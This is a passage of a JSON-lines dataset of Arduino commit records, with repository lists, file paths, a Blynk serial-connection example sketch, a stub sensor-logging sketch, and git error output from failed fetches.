houghtWorksIoTGurgaon\/Arduino,gonium\/Arduino,Chris--A\/Arduino,Cloudino\/Arduino,benwolfe\/esp8266-Arduino,ogferreiro\/Arduino,eduardocasarin\/Arduino,andrealmeidadomingues\/Arduino,weera00\/Arduino,tomkrus007\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,plinioseniore\/Arduino,ForestNymph\/Arduino_sources,benwolfe\/esp8266-Arduino,HCastano\/Arduino,raimohanska\/Arduino,bsmr-arduino\/Arduino,talhaburak\/Arduino,wdoganowski\/Arduino,damellis\/Arduino,EmuxEvans\/Arduino,zenmanenergy\/Arduino,damellis\/Arduino,diydrones\/Arduino,PaoloP74\/Arduino,PaintYourDragon\/Arduino,plinioseniore\/Arduino,smily77\/Arduino,Orthogonal-Systems\/arduino-libs,Gourav2906\/Arduino,jomolinare\/Arduino,jabezGit\/Arduino,NaSymbol\/Arduino,Cloudino\/Arduino,fungxu\/Arduino,plinioseniore\/Arduino,jmgonzalez00449\/Arduino,bsmr-arduino\/Arduino,plinioseniore\/Arduino,rcook\/DesignLab,aichi\/Arduino-2,ntruchsess\/Arduino-1,wilhelmryan\/Arduino,odbol\/Arduino,PaintYourDragon\/Arduino,eggfly\/arduino,laylthe\/Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,HCastano\/Arduino,tbowmo\/Arduino,talhaburak\/Arduino,henningpohl\/Arduino,henningpohl\/Arduino,arunkuttiyara\/Arduino,cscenter\/Arduino,tskurauskas\/Arduino,ashwin713\/Arduino,leftbrainstrain\/Arduino-ESP8266,tbowmo\/Arduino,plaintea\/esp8266-Arduino,381426068\/Arduino,koltegirish\/Arduino,shiitakeo\/Arduino,weera00\/Arduino,ari-analytics\/Arduino,ogahara\/Arduino,noahchense\/Arduino-1,ashwin713\/Arduino,HCastano\/Arduino,NicoHood\/Arduino,wdoganowski\/Arduino,eduardocasarin\/Arduino,aichi\/Arduino-2,UDOOboard\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,damellis\/Arduino,ashwin713\/Arduino,ektor5\/Arduino,onovy\/Arduino,plaintea\/esp8266-Arduino,tomkrus007\/Arduino,mboufos\/esp8266-Arduino,arunkuttiyara\/Arduino,PaoloP74\/Arduino,ikbelkirasan\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,ms-iot\/Arduino,tannewt\/Arduino,vbextreme\/Arduino,ccoenen\/Arduino,snargledorf\/Arduino,NaSymbol\/Arduino,lukeWal\/Arduino,ari-analytics\/Arduino,raimohanska\/Arduino,superboonie\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,bugobliterator\/BUAGI,PaoloP74\/Arduino,danielchalef\/Arduino,laylthe\/Arduino,ntruchsess\/Arduino-1,plinioseniore\/Arduino,PaintYourDragon\/Arduino,radut\/Arduino,mattvenn\/Arduino,eddyst\/Arduino-SourceCode,piersoft\/esp8266-Arduino,01org\/Arduino,piersoft\/esp8266-Arduino,steamboating\/Arduino,tskurauskas\/Arduino,paulmand3l\/Arduino,scdls\/Arduino,eggfly\/arduino,jaehong\/Xmegaduino,mattvenn\/Arduino,stevemayhew\/Arduino,me-no-dev\/Arduino-1,fungxu\/Arduino,bsmr-arduino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,damellis\/Arduino,snargledorf\/Arduino,adamkh\/Arduino,jaehong\/Xmegaduino,OpenDevice\/Arduino,ricklon\/Arduino,adamkh\/Arduino,ssvs111\/Arduino,bigjosh\/Arduino,ogferreiro\/Arduino,Gourav2906\/Arduino,linino\/Arduino,laylthe\/Arduino,aichi\/Arduino-2,SmartArduino\/Arduino-1,niggor\/Arduino_cc,niggor\/Arduino_cc,stevemarple\/Arduino-org,mboufos\/esp8266-Arduino,EmuxEvans\/Arduino,ikbelkirasan\/Arduino,diydrones\/Arduino,NaSymbol\/Arduino,wilhelmryan\/Arduino,tommyli2014\/Arduino,kidswong999\/Arduino,acosinwork\/Arduino,stevemarple\/Arduino-org,spapadim\/Arduino,Cloudino\/Arduino,Chris--A\/Arduino,plaintea\/esp8266-Arduino,gberl001\/Arduino,spapadim\/Arduino,noahchense\/Arduino-1,jmgonzalez00449\/Arduino,gurbrinder\/Arduino,eddyst\/Arduino-SourceCode,fungxu\/Arduino,koltegirish\/Arduino,jaehong\/Xmegaduino,SmartArduino\/Arduino-1,paulmand3l\/Arduino,arduino-org\/Arduino,chaveiro\/Arduino,ricklon\/Arduino,Chris--A\/Arduino,tomkrus007\/Arduino,stevemarple\/Arduino-org,tommyli2014\/Arduino,tbowmo\/Arduino,smily77\/Arduino,shiitakeo\/Arduino,steamboating\/Arduino,jaehong\/Xmegaduino,spapadim\/Arduino,shiitakeo\/Arduino,eduardocasarin\/Arduino,ashwin713\/Arduino,ogferreiro\/Arduino,snargledorf\/Arduino,talhaburak\/Arduino,ms-iot\/Arduino,byran\/Arduino,gberl001\/Arduino,koltegirish\/Arduino,gberl001\/Arduino,gonium\/Arduino,superboonie\/Arduino,drpjk\/Arduino,wayoda\/Arduino,noahchense\/Arduino-1,arunkuttiyara\/Arduino,zaiexx\/Arduino,Gourav2906\/Arduino,diydrones\/Arduino,Gourav2906\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,karlitxo\/Arduino,mattvenn\/Arduino,gestrem\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,chaveiro\/Arduino,championswimmer\/Arduino,ikbelkirasan\/Arduino,OpenDevice\/Arduino,Alfredynho\/AgroSis,tomkrus007\/Arduino,me-no-dev\/Arduino-1,andyvand\/Arduino-1,EmuxEvans\/Arduino,jabezGit\/Arduino,eddyst\/Arduino-SourceCode,PeterVH\/Arduino,andyvand\/Arduino-1,01org\/Arduino,zenmanenergy\/Arduino,ektor5\/Arduino,bugobliterator\/BUAGI,eddyst\/Arduino-SourceCode,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,Protoneer\/Arduino,lulufei\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,leftbrainstrain\/Arduino-ESP8266,tskurauskas\/Arduino,PaoloP74\/Arduino,NaSymbol\/Arduino,rcook\/DesignLab,01org\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,jaej-dev\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,mateuszdw\/Arduino,odbol\/Arduino,EmuxEvans\/Arduino,snargledorf\/Arduino,PeterVH\/Arduino,ari-analytics\/Arduino,championswimmer\/Arduino,EmuxEvans\/Arduino,zederson\/Arduino,arunkuttiyara\/Arduino,pdNor\/Arduino,ssvs111\/Arduino,eeijcea\/Arduino-1,ogahara\/Arduino,xxxajk\/Arduino-1,bsmr-arduino\/Arduino,noahchense\/Arduino-1,ms-iot\/Arduino,acosinwork\/Arduino,eggfly\/arduino,lulufei\/Arduino,scdls\/Arduino,tommyli2014\/Arduino,ektor5\/Arduino,eeijcea\/Arduino-1,kidswong999\/Arduino,weera00\/Arduino,scdls\/Arduino,shannonshsu\/Arduino,sanyaade-iot\/Arduino-1,wayoda\/Arduino,Ramoonus\/Arduino,NicoHood\/Arduino,byran\/Arduino,probonopd\/Arduino,paulo-raca\/ESP8266-Arduino,benwolfe\/esp8266-Arduino,ricklon\/Arduino,smily77\/Arduino,Gourav2906\/Arduino,bigjosh\/Arduino,wdoganowski\/Arduino,byran\/Arduino,onovy\/Arduino,gberl001\/Arduino,odbol\/Arduino,andyvand\/Arduino-1,lukeWal\/Arduino,championswimmer\/Arduino,bsmr-arduino\/Arduino,benwolfe\/esp8266-Arduino,tommyli2014\/Arduino,ntruchsess\/Arduino-1,rodibot\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ektor5\/Arduino,cscenter\/Arduino,garci66\/Arduino,gonium\/Arduino,gberl001\/Arduino,radut\/Arduino,ccoenen\/Arduino,jabezGit\/Arduino,niggor\/Arduino_cc,Gourav2906\/Arduino,jaimemaretoli\/Arduino,KlaasDeNys\/Arduino,tbowmo\/Arduino,stickbreaker\/Arduino,weera00\/Arduino,kidswong999\/Arduino,steamboating\/Arduino,stevemayhew\/Arduino,laylthe\/Arduino,ogahara\/Arduino,ntruchsess\/Arduino-1,superboonie\/Arduino,paulo-raca\/ESP8266-Arduino,mangelajo\/Arduino,gestrem\/Arduino,radut\/Arduino,tommyli2014\/Arduino,SmartArduino\/Arduino-1,paulo-raca\/ESP8266-Arduino,nkolban\/Arduino,odbol\/Arduino,byran\/Arduino,bugobliterator\/BUAGI,eeijcea\/Arduino-1,superboonie\/Arduino,jabezGit\/Arduino,eduardocasarin\/Arduino,damellis\/Arduino,nkolban\/Arduino,ForestNymph\/Arduino_sources,paulo-raca\/ESP8266-Arduino,zederson\/Arduino,tomkrus007\/Arduino,majenkotech\/Arduino,paulmand3l\/Arduino,gurbrinder\/Arduino,scdls\/Arduino,tannewt\/Arduino,adafruit\/ESP8266-Arduino,jmgonzalez00449\/Arduino,wilhelmryan\/Arduino,superboonie\/Arduino,ntruchsess\/Arduino-1,ms-iot\/Arduino,zaiexx\/Arduino,PaintYourDragon\/Arduino,381426068\/Arduino,tannewt\/Arduino,smily77\/Arduino,lukeWal\/Arduino,chaveiro\/Arduino,nkolban\/Arduino,nandojve\/Arduino,tskurauskas\/Arduino,chaveiro\/Arduino,ashwin713\/Arduino,arduino-org\/Arduino,PaintYourDragon\/Arduino,Ramoonus\/Arduino,zederson\/Arduino,radut\/Arduino,onovy\/Arduino,andrealmeidadomingues\/Arduino,weera00\/Arduino,tbowmo\/Arduino,bigjosh\/Arduino,jamesrob4\/Arduino,majenkotech\/Arduino,myrtleTree33\/Arduino,01org\/Arduino,me-no-dev\/Arduino-1,myrtleTree33\/Arduino,xxxajk\/Arduino-1,HCastano\/Arduino,PeterVH\/Arduino,ogahara\/Arduino,zaiexx\/Arduino,acosinwork\/Arduino,PeterVH\/Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,noahchense\/Arduino-1,ari-analytics\/Arduino,PeterVH\/Arduino,OpenDevice\/Arduino,ssvs111\/Arduino,paulmand3l\/Arduino,bsmr-arduino\/Arduino,jamesrob4\/Arduino,bugobliterator\/BUAGI,me-no-dev\/Arduino-1,plaintea\/esp8266-Arduino,lukeWal\/Arduino,diydrones\/Arduino,adamkh\/Arduino,UDOOboard\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jmgonzalez00449\/Arduino,stevemarple\/Arduino-org,adafruit\/ESP8266-Arduino,ogferreiro\/Arduino,jaej-dev\/Arduino,superboonie\/Arduino,me-no-dev\/Arduino-1,weera00\/Arduino,tommyli2014\/Arduino,lukeWal\/Arduino,gberl001\/Arduino,mangelajo\/Arduino,nandojve\/Arduino,mboufos\/esp8266-Arduino,karlitxo\/Arduino,myrtleTree33\/Arduino,piersoft\/esp8266-Arduino,me-no-dev\/Arduino-1,superboonie\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,jomolinare\/Arduino,scdls\/Arduino,leftbrainstrain\/Arduino-ESP8266,rcook\/DesignLab,sanyaade-iot\/Arduino-1,381426068\/Arduino,adafruit\/ESP8266-Arduino,henningpohl\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,KlaasDeNys\/Arduino,benwolfe\/esp8266-Arduino,garci66\/Arduino,stickbreaker\/Arduino,spapadim\/Arduino,arduino-org\/Arduino,ashwin713\/Arduino,NeuralSpaz\/Arduino,nandojve\/Arduino,gurbrinder\/Arduino,adamkh\/Arduino,diydrones\/Arduino,shannonshsu\/Arduino,nkolban\/Arduino,vbextreme\/Arduino,zederson\/Arduino,jamesrob4\/Arduino,ssvs111\/Arduino,mangelajo\/Arduino,Ramoonus\/Arduino,drpjk\/Arduino,drpjk\/Arduino,vbextreme\/Arduino,NaSymbol\/Arduino,lulufei\/Arduino,drpjk\/Arduino,ikbelkirasan\/Arduino,probonopd\/Arduino,tannewt\/Arduino,scdls\/Arduino,arunkuttiyara\/Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,lulufei\/Arduino,NeuralSpaz\/Arduino,gberl001\/Arduino,odbol\/Arduino,vbextreme\/Arduino,paulo-raca\/ESP8266-Arduino,mateuszdw\/Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,kidswong999\/Arduino,shiitakeo\/Arduino,henningpohl\/Arduino,danielchalef\/Arduino,HCastano\/Arduino,andyvand\/Arduino-1,ccoenen\/Arduino,kidswong999\/Arduino,rodibot\/Arduino,NaSymbol\/Arduino,gurbrinder\/Arduino,onovy\/Arduino,raimohanska\/Arduino,koltegirish\/Arduino,Gourav2906\/Arduino,rcook\/DesignLab,gestrem\/Arduino,paulmand3l\/Arduino,zenmanenergy\/Arduino,odbol\/Arduino,PaoloP74\/Arduino,jabezGit\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,jaej-dev\/Arduino,andrealmeidadomingues\/Arduino,niggor\/Arduino_cc,myrtleTree33\/Arduino,tskurauskas\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ashwin713\/Arduino,pdNor\/Arduino,cscenter\/Arduino,ForestNymph\/Arduino_sources,leftbrainstrain\/Arduino-ESP8266,lukeWal\/Arduino,PeterVH\/Arduino,01org\/Arduino,toddtreece\/esp8266-Arduino,ogahara\/Arduino,andrealmeidadomingues\/Arduino,snargledorf\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,damellis\/Arduino,jaimemaretoli\/Arduino,linino\/Arduino,Protoneer\/Arduino,jaehong\/Xmegaduino,wayoda\/Arduino,garci66\/Arduino,me-no-dev\/Arduino-1,lukeWal\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,eggfly\/arduino,laylthe\/Arduino,kidswong999\/Arduino,ccoenen\/Arduino,scdls\/Arduino,rcook\/DesignLab,NicoHood\/Arduino,ikbelkirasan\/Arduino,UDOOboard\/Arduino,zaiexx\/Arduino,vbextreme\/Arduino,odbol\/Arduino,NicoHood\/Arduino,talhaburak\/Arduino,majenkotech\/Arduino,sanyaade-iot\/Arduino-1,smily77\/Arduino,tannewt\/Arduino,me-no-dev\/Arduino-1,01org\/Arduino,UDOOboard\/Arduino,jaej-dev\/Arduino,wayoda\/Arduino,adamkh\/Arduino,aichi\/Arduino-2,zaiexx\/Arduino,nkolban\/Arduino,mateuszdw\/Arduino,ikbelkirasan\/Arduino,superboonie\/Arduino,Cloudino\/Arduino,UDOOboard\/Arduino,gonium\/Arduino,jmgonzalez00449\/Arduino,lulufei\/Arduino,henningpohl\/Arduino,drpjk\/Arduino,danielchalef\/Arduino,ForestNymph\/Arduino_sources,wayoda\/Arduino,wayoda\/Arduino,ari-analytics\/Arduino,tbowmo\/Arduino,cscenter\/Arduino,jaej-dev\/Arduino,KlaasDeNys\/Arduino,rodibot\/Arduino,jaimemaretoli\/Arduino,gestrem\/Arduino,stevemayhew\/Arduino,KlaasDeNys\/Arduino,byran\/Arduino,stickbreaker\/Arduino,jamesrob4\/Arduino,381426068\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,UDOOboard\/Arduino,jomolinare\/Arduino,paulmand3l\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,adafruit\/ESP8266-Arduino,wdoganowski\/Arduino,niggor\/Arduino_cc,mc-hamster\/esp8266-Arduino,bigjosh\/Arduino,jaehong\/Xmegaduino,mc-hamster\/esp8266-Arduino,danielchalef\/Arduino,NeuralSpaz\/Arduino,Alfredynho\/AgroSis,ogahara\/Arduino,raimohanska\/Arduino,eddyst\/Arduino-SourceCode,radut\/Arduino,wilhelmryan\/Arduino,mateuszdw\/Arduino,jaej-dev\/Arduino,ricklon\/Arduino,tskurauskas\/Arduino,garci66\/Arduino,myrtleTree33\/Arduino,damellis\/Arduino,jmgonzalez00449\/Arduino,mateuszdw\/Arduino,ccoenen\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,ricklon\/Arduino,wdoganowski\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemarple\/Arduino-org,ari-analytics\/Arduino,niggor\/Arduino_cc,adamkh\/Arduino,NeuralSpaz\/Arduino,linino\/Arduino,lulufei\/Arduino,nandojve\/Arduino,karlitxo\/Arduino,chaveiro\/Arduino,NeuralSpaz\/Arduino,jamesrob4\/Arduino,shannonshsu\/Arduino,ForestNymph\/Arduino_sources,tomkrus007\/Arduino,onovy\/Arduino,jaimemaretoli\/Arduino,tomkrus007\/Arduino,zaiexx\/Arduino,andrealmeidadomingues\/Arduino,ForestNymph\/Arduino_sources,onovy\/Arduino,bigjosh\/Arduino,stickbreaker\/Arduino,steamboating\/Arduino,bugobliterator\/BUAGI,acosinwork\/Arduino,tskurauskas\/Arduino,cscenter\/Arduino,PaintYourDragon\/Arduino,mboufos\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,Protoneer\/Arduino,tskurauskas\/Arduino,gestrem\/Arduino,rcook\/DesignLab,NaSymbol\/Arduino,NicoHood\/Arduino,cscenter\/Arduino,UDOOboard\/Arduino,gestrem\/Arduino,probonopd\/Arduino,byran\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,Chris--A\/Arduino,wayoda\/Arduino,myrtleTree33\/Arduino,Orthogonal-Systems\/arduino-libs,ogferreiro\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,talhaburak\/Arduino,adamkh\/Arduino,ogferreiro\/Arduino,jaimemaretoli\/Arduino,fungxu\/Arduino,shannonshsu\/Arduino,mateuszdw\/Arduino,spapadim\/Arduino,arunkuttiyara\/Arduino,lulufei\/Arduino,snargledorf\/Arduino,381426068\/Arduino,eeijcea\/Arduino-1,andyvand\/Arduino-1,linino\/Arduino,bugobliterator\/BUAGI,Ramoonus\/Arduino,rodibot\/Arduino,arduino-org\/Arduino,stevemayhew\/Arduino,rcook\/DesignLab,eddyst\/Arduino-SourceCode,plaintea\/esp8266-Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,mattvenn\/Arduino,mattvenn\/Arduino,ms-iot\/Arduino,PaoloP74\/Arduino,eddyst\/Arduino-SourceCode,mattvenn\/Arduino,karlitxo\/Arduino,pdNor\/Arduino,fungxu\/Arduino,381426068\/Arduino,xxxajk\/Arduino-1,eddyst\/Arduino-SourceCode,ektor5\/Arduino,SmartArduino\/Arduino-1,jmgonzalez00449\/Arduino,ikbelkirasan\/Arduino,aichi\/Arduino-2,niggor\/Arduino_cc,gurbrinder\/Arduino,wayoda\/Arduino,chaveiro\/Arduino,andrealmeidadomingues\/Arduino,koltegirish\/Arduino,linino\/Arduino,Protoneer\/Arduino,chaveiro\/Arduino,nandojve\/Arduino,garci66\/Arduino,Cloudino\/Cloudino-Arduino-IDE,spapadim\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jaimemaretoli\/Arduino,eduardocasarin\/Arduino,eggfly\/arduino,raimohanska\/Arduino,Gourav2906\/Arduino,arduino-org\/Arduino,vbextreme\/Arduino,eeijcea\/Arduino-1,ogferreiro\/Arduino,shannonshsu\/Arduino,cscenter\/Arduino,gonium\/Arduino,SmartArduino\/Arduino-1,NicoHood\/Arduino,Protoneer\/Arduino,Ramoonus\/Arduino,jomolinare\/Arduino,smily77\/Arduino,jomolinare\/Arduino,laylthe\/Arduino,OpenDevice\/Arduino,mangelajo\/Arduino,majenkotech\/Arduino,tommyli2014\/Arduino,raimohanska\/Arduino,Alfredynho\/AgroSis,ssvs111\/Arduino,HCastano\/Arduino,stickbreaker\/Arduino,Alfredynho\/AgroSis,shiitakeo\/Arduino,ari-analytics\/Arduino,kidswong999\/Arduino,piersoft\/esp8266-Arduino,stevemayhew\/Arduino,nandojve\/Arduino,OpenDevice\/Arduino,mangelajo\/Arduino,ntruchsess\/Arduino-1,koltegirish\/Arduino,talhaburak\/Arduino,garci66\/Arduino,mc-hamster\/esp8266-Arduino,mc-hamster\/esp8266-Arduino,mangelajo\/Arduino,tannewt\/Arduino,NeuralSpaz\/Arduino,nkolban\/Arduino,byran\/Arduino,OpenDevice\/Arduino,pdNor\/Arduino,zenmanenergy\/Arduino,KlaasDeNys\/Arduino,paulo-raca\/ESP8266-Arduino,piersoft\/esp8266-Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,probonopd\/Arduino,Ramoonus\/Arduino,bigjosh\/Arduino,ccoenen\/Arduino,Cloudino\/Arduino,mangelajo\/Arduino,tomkrus007\/Arduino,NicoHood\/Arduino,eduardocasarin\/Arduino,jabezGit\/Arduino,rodibot\/Arduino,championswimmer\/Arduino,toddtreece\/esp8266-Arduino,jaej-dev\/Arduino,jaimemaretoli\/Arduino,ari-analytics\/Arduino,PaoloP74\/Arduino,nkolban\/Arduino,EmuxEvans\/Arduino,linino\/Arduino,andrealmeidadomingues\/Arduino,pdNor\/Arduino,HCastano\/Arduino,stevemarple\/Arduino-org,garci66\/Arduino,karlitxo\/Arduino,chaveiro\/Arduino,Protoneer\/Arduino,arduino-org\/Arduino,381426068\/Arduino,gonium\/Arduino,byran\/Arduino,tannewt\/Arduino,ricklon\/Arduino,pdNor\/Arduino,shannonshsu\/Arduino,Alfredynho\/AgroSis,fungxu\/Arduino,lukeWal\/Arduino,KlaasDeNys\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,wilhelmryan\/Arduino,vbextreme\/Arduino,diydrones\/Arduino,zederson\/Arduino,probonopd\/Arduino,ForestNymph\/Arduino_sources,andyvand\/Arduino-1","old_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_file":"build\/shared\/examples\/09. USB (Leonardo only)\/Keyboard\/KeyboardReprogram\/KeyboardReprogram.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"88faa80e3ee52d80ac3dde6f17a64615d6d39b8b","subject":"Update MIDI_to_BLE-MIDI_nRF51822.ino","message":"Update MIDI_to_BLE-MIDI_nRF51822.ino","repos":"popcornell\/MIDIno,popcornell\/MIDIno","old_file":"MIDI_to_BLE-MIDI_bridge nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino","new_file":"MIDI_to_BLE-MIDI_bridge nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'MIDI_to_BLE-MIDI_bridge' did not match any file(s) known to git\nerror: pathspec 'nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0aa2efc0b1d615d267e392e29144d3168f688ccb","subject":"TI Stellaris Launchpad example","message":"TI Stellaris Launchpad example\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/BoardsAndShields\/TI_Stellaris_LaunchPad\/TI_Stellaris_LaunchPad.ino","new_file":"examples\/BoardsAndShields\/TI_Stellaris_LaunchPad\/TI_Stellaris_LaunchPad.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use ordinary Arduino Serial\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n * 1. Optional, but recommended.\n * Connect additional USB-serial adapter to see the prints.\n *\n * 2. Edit auth token and upload this sketch.\n *\n * 3. Run the script (script located in \"scripts\" folder of library root,\n * e.g. 'blynk-library\/scripts') for redirecting traffic to server:\n *\n * for Windows:\n * 1. Open cmd.exe\n * 2. write : (your way to blynk-ser.bat folder) example: \"cd C:\\blynk-library-0.3.1\\blynk-library-0.3.1\\scripts\"\n * 3. write : \"blynk-ser.bat -c COM4\" (where COM4 is port with your Arduino)\n * 4. And press \"Enter\" , press \"Enter\" and press \"Enter\"\n *\n * for Linux and OSX:\n *\n * .\/blynk-ser.sh (may need to run with sudo)\n *\n * You can specify port, baud rate, and server endpoint like this:\n * .\/blynk-ser.sh -c <serial port> -b <baud rate> -s <server address> -p <server port>\n *\n * For instance :\n * .\/blynk-ser.sh -c \/dev\/ttyACM0 -b 9600 -s cloud.blynk.cc -p 8442\n *\n * Run blynk-ser.sh -h for more information\n *\n * Be sure to select the right serial port (there may be multiple).\n *\n * Attention!\n * Arduino IDE may complain with \"programmer is not responding\".\n * You need to terminate script before uploading new sketch.\n *\n * 4. Start blynking! :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial1\n#include <BlynkSimpleSerial.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial1.begin(9600);\n Blynk.begin(auth);\n \/\/ Default baud rate is 9600. You could specify it like this:\n \/\/Blynk.begin(auth, 57600);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BoardsAndShields\/TI_Stellaris_LaunchPad\/TI_Stellaris_LaunchPad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f30992811705e8e6a08fec2f734852ee075d77e9","subject":"new example","message":"new example\n\ndemonstartes timer functions","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/Esparto_SONOFF\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_file":"examples\/Esparto_SONOFF\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b1694b17ac1a4001aff57816cd9511423c7102c2","subject":"add the lite version","message":"add the lite version\n","repos":"drifterz28\/drizzle-maker,drifterz28\/drizzle-maker,drifterz28\/drizzle-maker,drifterz28\/drizzle-maker","old_file":"drizzle-lite\/drizzle-lite.ino","new_file":"drizzle-lite\/drizzle-lite.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/drifterz28\/drizzle-maker.git\/'\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"06fb48f73344d9af70251a427e6abd05be3b4c5e","subject":"Add Source","message":"Add Source\n\nBegin van de source voor de Shrimp\n","repos":"PhiliPdB\/Shrimp","old_file":"Sources\/Shrimp.ino","new_file":"Sources\/Shrimp.ino","new_contents":"\/\/ Pins\nconst int ledPin = 13;\nconst int buttonPin = 2;\nconst int thermometerPin = 0;\n\n\/\/ Variables\nint travelTime = 0; \/\/ Total travel time in s\nint logInterval = 0; \/\/ Hoe vaak willen we loggen?\n\nvoid setup() {\n \/\/ Initialize pins\n pinMode(ledPin, OUTPUT);\n pinMode(buttonPin, INPUT);\n pinMode(thermometerPin, INPUT);\n \n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sources\/Shrimp.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ae8b826c1654c5c2b28b6ed34a192c75eb58dd2f","subject":"Added watchdog capability.","message":"Added watchdog capability.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"edca517a0466aa667d7c3e4ee7ab9e3b4b178933","subject":"Added arduino-code","message":"Added arduino-code\n","repos":"tihlde\/ircbot","old_file":"cdMotor\/cdMotor.ino","new_file":"cdMotor\/cdMotor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tihlde\/ircbot.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b76154a3dcf8854958d094eeea7b2889530d94ab","subject":"Untested, not yet ready version to test MIDI event communication","message":"Untested, not yet ready version to test MIDI event communication\n","repos":"JDWarner\/organduino","old_file":"sketches\/test_midi\/test_midi.ino","new_file":"sketches\/test_midi\/test_midi.ino","new_contents":"\/*\n Test pseudo-MIDI commands from a 3x2 key matrix.\n\n Turns on a LED when at least one key is pressed.\n\n The circuit:\n * LED built in to pin 13, connected to ground\n * Key matrix: C, C#, and D 